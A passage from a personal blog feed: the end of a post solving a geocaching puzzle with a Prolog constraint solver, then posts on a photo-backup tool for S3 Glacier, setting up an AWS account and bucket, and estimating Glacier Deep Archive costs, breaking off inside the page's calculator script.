E121 <span class="o">(</span>H-C<span class="o">)(</span>E+G<span class="o">)</span>.<span class="o">(</span>E-B<span class="o">)(</span>J-D<span class="o">)(</span>CxA<span class="o">)</span>
</code></pre></div></div>

<p>This is helpful to constraint the variable values above, as we know that each of those numbers must be between 0 and 9 (so, for example, <code class="language-plaintext highlighter-rouge">0 &lt;= (K-F) &lt;= 9</code>, or, in other words, <code class="language-plaintext highlighter-rouge">K &gt;= F</code> and <code class="language-plaintext highlighter-rouge">K &lt;= F+9</code>).</p>

<p>Furthermore, we know that the target must be within 3.2km of the posted coordinates, so we can compute a bounding box for the latitude and longitude coordinates (technically, the possible area is contained within a circle, but the maths become too difficult and not worth it).</p>

<p>For the latitude, constraints can easily be computed: earth circumference is 40000km, and there are 360°, so each degree is about 111km (<code class="language-plaintext highlighter-rouge">40000/360</code>), so each minute is 1.85km (<code class="language-plaintext highlighter-rouge">111/60</code>). Therefore, we know that the North coordinate must be within 2 minutes (<code class="language-plaintext highlighter-rouge">2*1.85km = 3.7km &gt; 3.2km</code>) of the starting position.</p>

<p>So for a starting position at <code class="language-plaintext highlighter-rouge">N 25° 02.008</code>, the minutes must be somewhere within <code class="language-plaintext highlighter-rouge">00</code> and <code class="language-plaintext highlighter-rouge">04</code> (2 minutes away from <code class="language-plaintext highlighter-rouge">02</code>). Based on the expression above, this implies that <code class="language-plaintext highlighter-rouge">J-E=0</code> (or <code class="language-plaintext highlighter-rouge">J=E</code>), and that <code class="language-plaintext highlighter-rouge">F+A</code> must be in between <code class="language-plaintext highlighter-rouge">0</code> and <code class="language-plaintext highlighter-rouge">4</code>.</p>

<p>The longitude coordinates are a little bit trickier, as they depend on the latitude (each longitude degree gets shorter as you move away from the equator). For example, at 25° North, each longitude degree is 100km (<code class="language-plaintext highlighter-rouge">111km * cos(25°)</code>), so each minute is 1.67km. So we must still be within 2 degrees (<code class="language-plaintext highlighter-rouge">2*1.67km = 3.34km &gt; 3.2km</code>: this would be larger for coordinates further north, or far south).</p>

<p>So again, we have, for a starting position at <code class="language-plaintext highlighter-rouge">E 121° 33.951</code>, that the minutes must be between <code class="language-plaintext highlighter-rouge">31</code> and <code class="language-plaintext highlighter-rouge">35</code>, which applies constraints on <code class="language-plaintext highlighter-rouge">(H-C)</code> and <code class="language-plaintext highlighter-rouge">(E+G)</code>.</p>

<p>Now that we have all of these constraints, we could try to solve this by hand, but this might range from difficult to… impossible. Which is why I introduce Prolog.</p>

<h2 id="prolog">Prolog</h2>

<p><a href="https://en.wikipedia.org/wiki/Prolog">Prolog</a> is an old programming language from 1972, in the field of Artificial Intelligence (before it was so cool I guess), that allows you to easily state such logic problems.</p>

<p>In this case, I will use the <code class="language-plaintext highlighter-rouge">clpfd</code> module (“CLP(FD): Constraint Logic Programming over Finite Domains”), as we are just facing a CLP problem. So I suppose we could also simply use a CLP solver instead of Prolog – but I had to use Prolog for another problem, so this was most convenient.</p>

<p>Now, lets convert the constraints above:</p>

<p>Not much boiler plate needed, we just include the CLP module, and start the program with <code class="language-plaintext highlighter-rouge">?-</code></p>

<div class="language-prolog highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">:-</span> <span class="ss">use_module</span><span class="p">(</span><span class="ss">library</span><span class="p">(</span><span class="ss">clpfd</span><span class="p">)).</span>

<span class="cm">/*</span><span class="err"> Start of script </span><span class="cm">*/</span>
<span class="o">?-</span>
</code></pre></div></div>

<p>Then, we can declare constraints. For known variables, we can just set then:</p>

<div class="language-prolog highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nv">A</span> <span class="o">#=</span> <span class="m">1</span><span class="p">,</span>
    <span class="nv">E</span> <span class="o">#=</span> <span class="m">2</span><span class="p">,</span>
    <span class="nv">H</span> <span class="o">#=</span> <span class="m">8</span><span class="p">,</span>
    <span class="nv">K</span> <span class="o">#=</span> <span class="m">2</span><span class="p">,</span>
</code></pre></div></div>

<p>For the ones that have a known lower bound, we can assign then as such (I do put a larger upper bound, that makes sense given the problem, we could increase it if needed).</p>

<div class="language-prolog highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nv">D</span> <span class="ss">in</span> <span class="m">2</span><span class="p">..</span><span class="m">100</span><span class="p">,</span> <span class="cm">/*</span><span class="err"> e.g. at at least 2 caches found </span><span class="cm">*/</span>
    <span class="nv">F</span> <span class="ss">in</span> <span class="m">1</span><span class="p">..</span><span class="m">100</span><span class="p">,</span>
    <span class="nv">G</span> <span class="ss">in</span> <span class="m">1</span><span class="p">..</span><span class="m">100</span><span class="p">,</span>
</code></pre></div></div>

<p>Finally, we assign the unknown values between 0 and 100:</p>

<div class="language-prolog highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nv">B</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">100</span><span class="p">,</span> <span class="cm">/*</span><span class="err"> These cannot be found anymore </span><span class="cm">*/</span>
    <span class="nv">C</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">100</span><span class="p">,</span>
    <span class="nv">J</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">100</span><span class="p">,</span>
</code></pre></div></div>

<p>Now, we can start adding constraints. We know that the sum is 25:</p>

<div class="language-prolog highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nv">A</span><span class="o">+</span><span class="nv">B</span><span class="o">+</span><span class="nv">C</span><span class="o">+</span><span class="nv">D</span><span class="o">+</span><span class="nv">E</span><span class="o">+</span><span class="nv">F</span><span class="o">+</span><span class="nv">G</span><span class="o">+</span><span class="nv">H</span><span class="o">+</span><span class="nv">J</span><span class="o">+</span><span class="nv">K</span> <span class="o">#=</span> <span class="m">25</span><span class="p">,</span>
</code></pre></div></div>

<p>For the coordinates, I set intermediate variables, then apply constraints:</p>

<div class="language-prolog highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/*</span><span class="err"> N 25 (J-E)(F+A).(K-F)(E+C)(G+C) </span><span class="cm">*/</span>
    <span class="nv">N1</span> <span class="o">#=</span> <span class="nv">J</span><span class="o">-</span><span class="nv">E</span><span class="p">,</span> <span class="nv">N2</span> <span class="o">#=</span> <span class="nv">F</span><span class="o">+</span><span class="nv">A</span><span class="p">,</span> <span class="nv">N3</span> <span class="o">#=</span> <span class="nv">K</span><span class="o">-</span><span class="nv">F</span><span class="p">,</span> <span class="nv">N4</span> <span class="o">#=</span> <span class="nv">E</span><span class="o">+</span><span class="nv">C</span><span class="p">,</span> <span class="nv">N5</span> <span class="o">#=</span> <span class="nv">G</span><span class="o">+</span><span class="nv">C</span><span class="p">,</span>
    <span class="nv">N1</span> <span class="o">#=</span> <span class="m">0</span><span class="p">,</span> <span class="nv">N2</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">4</span><span class="p">,</span> <span class="cm">/*</span><span class="err"> Minutes between 00 and 04 </span><span class="cm">*/</span>
    <span class="nv">N3</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">9</span><span class="p">,</span> <span class="nv">N4</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">9</span><span class="p">,</span> <span class="nv">N5</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">9</span><span class="p">,</span> <span class="cm">/*</span><span class="err"> Decimals between 0 and 9. 
</span></code></pre></div></div>

<p>And we do something similar on the longitudes coordinates:</p>

<div class="language-prolog highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/*</span><span class="err"> E121 (H-C)(E+G).(E-B)(J-D)(CxA) </span><span class="cm">*/</span>
    <span class="nv">E1</span> <span class="o">#=</span> <span class="nv">H</span><span class="o">-</span><span class="nv">C</span><span class="p">,</span> <span class="nv">E2</span> <span class="o">#=</span> <span class="nv">E</span><span class="o">+</span><span class="nv">G</span><span class="p">,</span> <span class="nv">E3</span> <span class="o">#=</span> <span class="nv">E</span><span class="o">-</span><span class="nv">B</span><span class="p">,</span> <span class="nv">E4</span> <span class="o">#=</span> <span class="nv">J</span><span class="o">-</span><span class="nv">D</span><span class="p">,</span> <span class="nv">E5</span> <span class="o">#=</span> <span class="nv">C</span><span class="o">*</span><span class="nv">A</span><span class="p">,</span>
    <span class="nv">E1</span> <span class="o">#=</span> <span class="m">3</span><span class="p">,</span>
    <span class="nv">E2</span> <span class="ss">in</span> <span class="m">1</span><span class="p">..</span><span class="m">4</span><span class="p">,</span>
    <span class="nv">E3</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">9</span><span class="p">,</span> <span class="nv">E4</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">9</span><span class="p">,</span> <span class="nv">E5</span> <span class="ss">in</span> <span class="m">0</span><span class="p">..</span><span class="m">9</span><span class="p">,</span>
</code></pre></div></div>

<p>Then, we tell the solver to solve the constraints, and print the variables, and final coordinates:</p>

<div class="language-prolog highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/*</span><span class="err"> Solve </span><span class="cm">*/</span>
    <span class="ss">indomain</span><span class="p">(</span><span class="nv">B</span><span class="p">),</span> <span class="ss">indomain</span><span class="p">(</span><span class="nv">C</span><span class="p">),</span> <span class="ss">indomain</span><span class="p">(</span><span class="nv">D</span><span class="p">),</span>
    <span class="ss">indomain</span><span class="p">(</span><span class="nv">F</span><span class="p">),</span> <span class="ss">indomain</span><span class="p">(</span><span class="nv">G</span><span class="p">),</span> <span class="ss">indomain</span><span class="p">(</span><span class="nv">J</span><span class="p">),</span>
    <span class="cm">/*</span><span class="err"> Print solution </span><span class="cm">*/</span>
    <span class="ss">write</span><span class="p">([</span><span class="nv">A</span><span class="p">,</span> <span class="nv">B</span><span class="p">,</span> <span class="nv">C</span><span class="p">,</span> <span class="nv">D</span><span class="p">,</span> <span class="nv">E</span><span class="p">,</span> <span class="nv">F</span><span class="p">,</span> <span class="nv">G</span><span class="p">,</span> <span class="nv">H</span><span class="p">,</span> <span class="nv">J</span><span class="p">,</span> <span class="nv">K</span><span class="p">]),</span>
    <span class="ss">write</span><span class="p">(</span><span class="s2">": N25 "</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="nv">N1</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="nv">N2</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="s2">"."</span><span class="p">),</span>
    <span class="ss">write</span><span class="p">(</span><span class="nv">N3</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="nv">N4</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="nv">N5</span><span class="p">),</span>
    <span class="ss">write</span><span class="p">(</span><span class="s2">" E121 "</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="nv">E1</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="nv">E2</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="s2">"."</span><span class="p">),</span>
    <span class="ss">write</span><span class="p">(</span><span class="nv">E3</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="nv">E4</span><span class="p">),</span> <span class="ss">write</span><span class="p">(</span><span class="nv">E5</span><span class="p">),</span>
    <span class="ss">nl</span><span class="p">,</span> <span class="cm">/*</span><span class="err"> New line</span><span class="cm">*/</span>
    <span class="ss">fail</span><span class="p">.</span> <span class="cm">/*</span><span class="err"> Hack that makes it print all solutions. </span><span class="cm">*/</span>
</code></pre></div></div>

<p>I’m not 100% sure to understand the <code class="language-plaintext highlighter-rouge">fail</code> trick here, but that nicely allows Prolog to provide <strong>all</strong> possible solutions, and not just the first one.</p>

<p>Then we can just run the Prolog interpreter (I use <a href="https://www.swi-prolog.org/">SWI-prolog</a>):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>swipl <span class="nt">-s</span> geocaching.pro
</code></pre></div></div>

<p>Which outputs 3 sets of solutions, along with the final location:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>1,0,5,2,2,1,2,8,2,2]: N25 02.177 E121 34.205
<span class="o">[</span>1,0,5,2,2,2,1,8,2,2]: N25 03.076 E121 33.205
<span class="o">[</span>1,1,5,2,2,1,1,8,2,2]: N25 02.176 E121 33.105
</code></pre></div></div>

<p>We can then see where those locations are on Google maps (e.g. we can eliminate the ones in the middle of a river), or the mystery cache provides a geochecker that allows us to try those 3 options to see which one is correct.</p>

<p>That’s it! Happy geocaching!</p>]]></content><author><name>Nicolas Boichat</name></author><category term="geocaching" /><summary type="html"><![CDATA[Something a bit different for today! I picked up Geocaching this year. It’s a really fun activity, that makes you go out in the real world to find hidden items (a box, little tube…), that you open, sign, and put back carefully. Without anybody else spotting you. Ideally.]]></summary></entry><entry><title type="html">A simple tool to upload photos in archives</title><link href="https://drinkc.at/blog/2024/08/15/simple-serac/" rel="alternate" type="text/html" title="A simple tool to upload photos in archives" /><published>2024-08-15T03:10:52+00:00</published><updated>2024-08-15T03:10:52+00:00</updated><id>https://drinkc.at/blog/2024/08/15/simple-serac</id><content type="html" xml:base="https://drinkc.at/blog/2024/08/15/simple-serac/"><![CDATA[<p>This post will go through a simple tool, called <a href="https://github.com/drinkcat/simple-serac"><strong>simple-serac</strong></a>,
I built to upload photos (or any other medium-sized files) to Glacier.</p>

<p><strong>simple-serac</strong> is available on <a href="https://github.com/drinkcat/simple-serac">github</a>, under a BSD license.</p>

<p>I’ll just repeat the design philosophy here, we’ll go through a
concrete use case in the next post.</p>

<h3 id="philosophy">Philosophy</h3>

<ul>
  <li>Targets <strong>infrequent backups</strong> of relatively <strong>large files</strong> (~megabytes), e.g. a photo library.
    <ul>
      <li>Assumes you have enough RAM to keep the list of all files in memory (this shouldn’t be a problem unless you have millions of files).</li>
      <li>Do not use this to backup small files, e.g. your home directory. Use more suited tools like <a href="https://duplicity.us/">duplicity</a>.</li>
      <li>Only knows how to backup normal files and symbolic links.</li>
    </ul>
  </li>
  <li>Targets Amazon S3 Deep <strong>Glacier</strong>: Cost of restoring many objects can be very expensive, so we bundle the files in relatively large tarball chunks (256 MiB by default).
    <ul>
      <li>Relatively small chunks make it reasonably cheap to restore a single file if needed.</li>
      <li>Most chunks will be somewhat larger than the set limit, as a single file will never stride over multiple chunks.</li>
    </ul>
  </li>
  <li>Only supports <strong>incremental backups</strong>: new and modified files are uploaded. No awareness of deleted files.
    <ul>
      <li>If you want to start a new full backup, chose a different bucket or directory.</li>
    </ul>
  </li>
  <li><strong>Simple, human readable database</strong>: restoring is possible without special tools.</li>
  <li>Not meant to be used unattended: Will not remove anything on the remote side, will bail out on most errors, <strong>may require human intervention</strong>.</li>
  <li>Can be interrupted and restarted without loss.</li>
</ul>

<h3 id="design">Design</h3>

<p>The S3 bucket directory contains 3 subdirectories:</p>

<ul>
  <li><strong>Database</strong>: <code class="language-plaintext highlighter-rouge">db/*.json</code> (in AWS <code class="language-plaintext highlighter-rouge">STANDARD</code> storage)</li>
  <li><strong>Data</strong>: <code class="language-plaintext highlighter-rouge">data/*.tar</code> (in AWS <code class="language-plaintext highlighter-rouge">GLACIER</code> storage)</li>
  <li><strong>Reports</strong>: <code class="language-plaintext highlighter-rouge">reports/*.csv</code> (in AWS <code class="language-plaintext highlighter-rouge">STANDARD</code> storage)</li>
</ul>

<h4 id="database">Database</h4>

<p>The database is a set of <code class="language-plaintext highlighter-rouge">json</code> files in <code class="language-plaintext highlighter-rouge">db/</code>. Each tarball in <code class="language-plaintext highlighter-rouge">data/</code> has a corresponding database file, listing the content in the tarball.</p>

<p>We need this database in <code class="language-plaintext highlighter-rouge">STANDARD</code> storage, so that it’s readily, and cheaply, available for restore operations, or for incremental backups.</p>

<p>For example, <code class="language-plaintext highlighter-rouge">db/20240706-114654-000337.tar</code> (a tarball of ~128MB) has a corresponding json database file <code class="language-plaintext highlighter-rouge">db/20240706-114654-000337.json</code>, listing the 101 files within it.</p>

<p>For each file in the tarball, we save the name, size, modified time, and SHA-256. For example:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w">    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ALL_PHOTOS/2018/05/20180520_124950.jpg"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"size"</span><span class="p">:</span><span class="w"> </span><span class="mi">390633</span><span class="p">,</span><span class="w">
        </span><span class="nl">"modified"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2018-05-20T04:49:50+00:00"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"sha"</span><span class="p">:</span><span class="w"> </span><span class="s2">"c977fc1f2e2bd371480c625d3e5564716b8921ccf879712f679a2cd1b07ee0d9"</span><span class="w">
    </span><span class="p">}</span><span class="err">,</span><span class="w">
</span></code></pre></div></div>

<h4 id="reports">Reports</h4>

<p>While the json files are technically human-readable, finding a target file in them would be a bit difficult: There can be hundreds of them, and the content is not terribly easy to <code class="language-plaintext highlighter-rouge">grep</code>.</p>

<p>Therefore, at the end of the backup process, the tool creates a <code class="language-plaintext highlighter-rouge">.csv</code> report in <code class="language-plaintext highlighter-rouge">reports/</code> that can be imported into a spreadsheet app if needed for easier visualization.</p>

<p>Only the last report needs to be downloaded: it aggregates data from all incremental backups.</p>

<h4 id="runtime">Runtime</h4>

<p>At runtime, the tool does the following:</p>

<ul>
  <li>Connect to S3.</li>
  <li>Run some basic sanity check on the remote directory structure.</li>
  <li>Fetch the database to a local directory in <code class="language-plaintext highlighter-rouge">.cache</code> (only copies the files if they are not already present).</li>
  <li>Read and parse the database.</li>
  <li>List all files in the local directory:
    <ul>
      <li>For each file, see if there is already and entry in the database, if so, compute the SHA-256. If the file is new, or the SHA-256 differs, mark the file for upload.</li>
      <li>Once the size of the files marked for upload exceeds the chunk size (256 MiB):
        <ul>
          <li>Generate a tarball named <code class="language-plaintext highlighter-rouge">YYYYMMDD-HHMMSS-0000iii.tar</code> (date, time, and an increasing index <code class="language-plaintext highlighter-rouge">i</code>) and upload the tarball to S3.</li>
          <li>Generate the database file <code class="language-plaintext highlighter-rouge">YYYYMMDD-HHMMSS-0000iii.json</code> and upload it.
            <ul>
              <li>(We do it in this order as a lone tarball without corresponding database would have no impact apart from a little bit of lost storage.)</li>
            </ul>
          </li>
          <li>Continue processing files.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Generate a report <code class="language-plaintext highlighter-rouge">csv</code> file and upload it to S3.</li>
</ul>]]></content><author><name>Nicolas Boichat</name></author><category term="backup" /><summary type="html"><![CDATA[This post will go through a simple tool, called simple-serac, I built to upload photos (or any other medium-sized files) to Glacier.]]></summary></entry><entry><title type="html">AWS S3 setup for backups</title><link href="https://drinkc.at/blog/2024/07/13/backup-to-glacier-setup/" rel="alternate" type="text/html" title="AWS S3 setup for backups" /><published>2024-07-13T08:40:06+00:00</published><updated>2024-07-13T08:40:06+00:00</updated><id>https://drinkc.at/blog/2024/07/13/backup-to-glacier-setup</id><content type="html" xml:base="https://drinkc.at/blog/2024/07/13/backup-to-glacier-setup/"><![CDATA[<p>This post will go through details of how I setup AWS account and
S3 bucket for this use case, using the AWS web console.</p>

<p>Again, I’m not ane expert, but this seems to work for me and my use case.
I went through these steps manually in the Amazon web console UI, it’s of
course possible to automate this. Maybe for another time.</p>

<h3 id="budget">Budget</h3>

<p>First of all, let’s avoid disasters. The first thing I setup after creating
the AWS account is a budget with low values, so I get alerts in case I
accidentally use more storage than I planned to.</p>

<p>Under “Billing and Cost Management”, I setup a Budget with the following
parameters: “Monthly”, “Recurring budget”, “Fixed”, $1.00, for all
Amazon services.</p>

<p>I then setup 2 alerts, each for $0.01, one on “Actual” cost, and the
other on “Forecasted” cost, with my email as recipient.</p>

<p>The numbers are of course too low, the idea is to slowly increase those
when I get a good grasp on actual total costs.</p>

<p>Also note that, those are just alerts, and, at least to my understanding,
there is no way to set hard limits: you can totally blow through your
budget. Be careful, upload things slowly to make sure your computations
are correct.</p>

<h3 id="iam-identities">IAM identities</h3>

<p>As root, I created 2 user accounts:</p>

<ul>
  <li>One with console access and at least “AmazonS3FullAccess” permission
(“interactive” user)</li>
  <li>Another <em>without</em> console access that I would use for a command line tool I’ll describe in the future (“bot” user), also with “AmazonS3FullAccess”.</li>
</ul>

<p>You can then logout from the web console, and login again as the
“interactive” user.</p>

<h3 id="s3-bucket-configuration">S3 bucket configuration</h3>

<p>Now it’s time to create a S3 storage bucket. Find the “S3” service in the
web console, and press “Create Bucket”. Make sure you’re in the correct zone
before starting (<code class="language-plaintext highlighter-rouge">us-east-1</code> is cheap). Pick a good name, you can’t change
it. Default settings are reasonable: you want to create a “General purpose”
bucket, with “ACLs disabled” and “Block all public access” set.</p>

<p>I decided to enable Bucket Versioning, as an extra layer of safety. In
this mode, S3 will keep old versions of the files if they get overwritten or
deleted. However, you will still be charged for older versions of the
files, but there are rules you can setup to auto-expire non-current objects,
see below.</p>

<p>I left Encryption to the default (SSE-S3), and disabled object lock.</p>

<h4 id="lifecycle-rules-for-versioned-bucket">Lifecycle rules for versioned bucket</h4>

<p>If you enabled bucket versioning, you probably want to create a lifecycle
rule to expire older versions of the objects. This can be done in
“Management” =&gt; “Create lifecycle rule”:</p>

<p>Pick a good name like “delete-noncurrent”, “Apply to all objects in the
bucket”. As actions, pick “Permanently delete noncurrent versions of objects”
and “Delete expired object delete markers or incomplete multipart uploads”.</p>

<p>For the first action (“Permanently delete”), I chose 7 days and 0 versions
(you can keep the field empty). For the second action (“multipart uploads”),
I ticked both boxes (“Delete expired object delete markers” and “Delete
incomplete multipart uploads”), again, with 7 days.</p>

<h4 id="storage-lens">Storage lens</h4>

<p>It’s useful to look at the dashboard in Storage lens from time to time,
that’s how I realized I had a bunch of non-current objects that I was being
charged for (but could be deleted).</p>

<p>For some reason, that cannot be accessed from the root user (only from
a normal user).</p>

<h4 id="email-notifications-for-restore-events">Email notifications for restore events</h4>

<p>As restoring from Glacier takes 12-48h, it’s useful to setup an email
notification when the data is ready.</p>

<p>First, go to “Simple Notification Service”, create a new topic, “Standard”,
then leave all the settings as default. In your topic, create a new “Email”
subscription with your email address, confirm it in the email your receive.</p>

<p>Then, back to S3, in your bucket, setup an “Event notification” for
“All restore object events”, attach it to the “SNS Topic” that you just
created.</p>

<p>The email notifications are not-so-pretty JSON-formatted, but at least you
get informed when restoration is complete.</p>]]></content><author><name>Nicolas Boichat</name></author><category term="backup" /><summary type="html"><![CDATA[This post will go through details of how I setup AWS account and S3 bucket for this use case, using the AWS web console.]]></summary></entry><entry><title type="html">AWS S3 Glacier Deep Archive Cost computation</title><link href="https://drinkc.at/blog/2024/07/09/backup-to-glacier-calc/" rel="alternate" type="text/html" title="AWS S3 Glacier Deep Archive Cost computation" /><published>2024-07-09T13:20:45+00:00</published><updated>2024-07-15T04:10:42+00:00</updated><id>https://drinkc.at/blog/2024/07/09/backup-to-glacier-calc</id><content type="html" xml:base="https://drinkc.at/blog/2024/07/09/backup-to-glacier-calc/"><![CDATA[<p>There are a bunch of online articles/reddit posts that explain pricing,
but I’ll redo the computation here, based on S3 <a href="https://calculator.aws/#/createCalculator/S3">calculator</a> and my understanding.</p>

<p><strong>Update (July 15, 2024)</strong>: Increased recommended average size from 128MB
to 256 MB, taking into account multipart upload cost.</p>

<p>First, you need to chose your zone carefully. <code class="language-plaintext highlighter-rouge">us-east-1</code> (N. Virginia)
seems to be <a href="https://aws.amazon.com/s3/pricing/">cheapest</a>. I do not care
too much about locality as I only plan to backup and restore fairly
infrequently.</p>

<p>The cost of storage, backup, and restore operations depends a lot
on the average file size. I found that keeping the average size above
256 MB is a good tradeoff (lower overhead cost, while allowing finer
grain restore operations).</p>

<p>It goes without saying this is provided without guarantee, please
double check my numbers.</p>

<h3 id="storage-cost">Storage cost</h3>

<p>To quote the <a href="https://aws.amazon.com/s3/pricing/">pricing</a> page:</p>

<blockquote>
  <p>For each object that is stored in the […] S3 Glacier Deep Archive
storage classes, AWS charges for 40 KB of for index and metadata
with 8 KB charged at S3 Standard rates and 32 KB charged at […]
S3 Deep Archive rates.</p>
</blockquote>

<p>For example, to store 1 TB, with an average file size of 1 MB, the storage cost per month will look like this:</p>

<ul>
  <li>Number of files: 1 TB / 1 MB = 1048576</li>
  <li>Actual S3 Glacier Deep data: 1 TB * $0.00099 / GB = $1.01376</li>
  <li>S3 Glacier Deep overhead: 1048576 * 32 KB * $0.00099 / GB = $0.03168</li>
  <li>S3 Standard overhead: 1048576 * 8 KB * $0.023 / GB = 0.184$</li>
  <li>Total cost: $1.23 / TB / month</li>
</ul>

<p>From around 128MB, the overhead cost becomes totally negligible.</p>

<div><canvas id="storageChart"></canvas></div>

<h3 id="backup-cost-upload">Backup cost (upload)</h3>

<p>Backing up the data also comes at a cost, due to the cost of <code class="language-plaintext highlighter-rouge">PUT</code>
operations. As usual with cloud providers, ingress bandwidth is free.</p>

<p>For example, for 1 TB of 128 MB files:</p>

<ul>
  <li>Number of files: 1 TB / 128 MB = 8192.</li>
  <li>Operation cost: 8192 * $0.05 / 1000 requests = $0.41 / TB</li>
  <li>Bandwidth cost: 1 TB * $0 / GB = $0</li>
  <li>Total cost: $0.41 / TB</li>
</ul>

<p>This is where using big files saves a lot. 1 MB files would cost a
whopping $52.43/TB to upload.</p>

<div><canvas id="backupChart"></canvas></div>

<h4 id="multipart-upload-added-july-15-2024">Multipart upload <em>(added July 15, 2024)</em></h4>

<p>There’s one more thing to consider. To speed up the upload process,
it is common to upload using multiple connections and upload files
in chunks.</p>

<p>Multipart upload is <a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/mpuoverview.html">documented here</a>. We can ignore the cost of storing
multipart parts during the operations (that would be short), but the
operations cost is still significant:</p>

<blockquote>
  <p>Both CreateMultipartUpload and UploadPart are billed at S3 Standard rates
[…] with only the CompleteMultipartUpload request charged at S3 Glacier &gt; Deep Archive rates.</p>
</blockquote>

<p>The default boto3 <a href="https://boto3.amazonaws.com/v1/documentation/api/latest/reference/customizations/s3.html#boto3.s3.transfer.TransferConfig">transfer configuration</a>
will upload the data in chunks of 8 MB. In this case (1 TB of 128MB files again):</p>

<ul>
  <li>Number of files: 1 TB / 128 MB = 8192.</li>
  <li>Number of chunks: 1TB / 8 MB = 131072</li>
  <li>Operations: 8192 * $0.005 / 1000 = $0.041 / TB (CreateMultipartUpload, 1/file)</li>
  <li>Operations: 131072 * $0.005 / 1000 = $0.66 / TB (UploadPart, 1/chunk)</li>
  <li>Operations: 8192 * $0.05 / 1000 = $0.41 / TB (CompleteMultipartUpload, 1/file)</li>
  <li>Bandwidth: 1 TB * $0 / GB = $0</li>
  <li>Total cost = $1.11 / TB</li>
</ul>

<p>This is a significantly increased cost.</p>

<p>If I want to stay near the default number of connection (10), I need at
least 8 chunks per file:</p>

<ul>
  <li>128 MB files, 16MB chunks: $0.78 / TB</li>
  <li>256 MB files, 32MB chunks: $0.39 / TB</li>
  <li>512 MB files, 64MB chunks: $0.19 / TB</li>
  <li>1 GB files, 64MB chunks: $0.097 / TB</li>
</ul>

<p>I think 256MB is a good tradeoff (less than half a month of storage cost
to upload the data).</p>

<div><canvas id="backupChunkChart"></canvas></div>

<h3 id="restore-cost-download">Restore cost (download)</h3>

<p>Restoring the data also cost money. The first step will be to retrieve
the object from “Deep Glacier” to “Standard”.</p>

<p>There are 2 retrieval options: Standard and Bulk. Standard is much
more expensive (~10x), but faster (12h vs 48h)</p>

<p>The web UI (and also the API) allows you to select how many days to keep
the data in Standard storage, which you will be charged for. Of course,
you need to set a long enough number of days so that you have time to
download the data.</p>

<p><img src="/images/restore.png" alt="Image" />
<em>AWS Web UI restore interface</em></p>

<p>Also, egress bandwidth is charged, but the first 100GB/month are free,
so if you only restore a small amount of data, or if you willing to wait
many months, costs can be limited.</p>

<p>For example, for 1 TB of 128 MB files:</p>

<ul>
  <li>Number of files: 1 TB / 128 MB = 8192.</li>
  <li>Retrieval cost/operation: 8192 * $0.025 / 1000 requests = $0.20 / TB</li>
  <li>Retrieval cost/GB: 1 TB * $0.0025 / GB = $2.56 / TB</li>
  <li>S3 standard storage cost (7 days): 1 TB * $0.023 / GB * 7/30 = $5.50 / TB</li>
  <li>Bandwidth cost: 1 TB * $0.09 / GB = $92.16</li>
  <li>Total cost: $100.42 / TB
    <ul>
      <li>Total cost for the first 100 GB: $0.81 / 100 GB (no bandwidth cost)</li>
    </ul>
  </li>
</ul>

<p>Here, the cost is heavily dominated by the egress bandwidth cost, if one
can keep under the 100GB / month bandwidth, the price becomes a lot more
interesting.</p>

<p>Standard restore is about 4 times pricier if bandwidth does not need to
be paid for. If not, it’s only a smaller 20% price increase.</p>

<p>Assuming no bandwidth cost, restoring a single 128MB file costs 0.001$ with
Bulk restore, and 0.004$ with Standard restore: if only a few files need to
be restored the costs are negligible anyway and there is no reason to use the slower Bulk restore.</p>

<div><canvas id="restoreChart"></canvas></div>

<h3 id="calculator">Calculator</h3>

<p>Again, it goes without saying this is provided without guarantee, please
double check my numbers.</p>

<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>

<script>
var resultElement;
var charts = [];

document.addEventListener("DOMContentLoaded", function(event){
  var xpath = "//code[contains(text(),'__CALCULATOR_OUTPUT__')]";
  resultElement = document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
  compute()
})

// Round price to cents
function price(x) {
  if (x > 0.1)
    scale = 100
  else
    scale = 10**(-Math.floor(Math.log10(x))+2)
  return Math.round(x*scale)/scale
}

function compute() {
  filesize = parseFloat(document.getElementById('calc_filesize').value)
  chunksize = parseFloat(document.getElementById('calc_chunksize').value)
  compute2(filesize, chunksize, true)

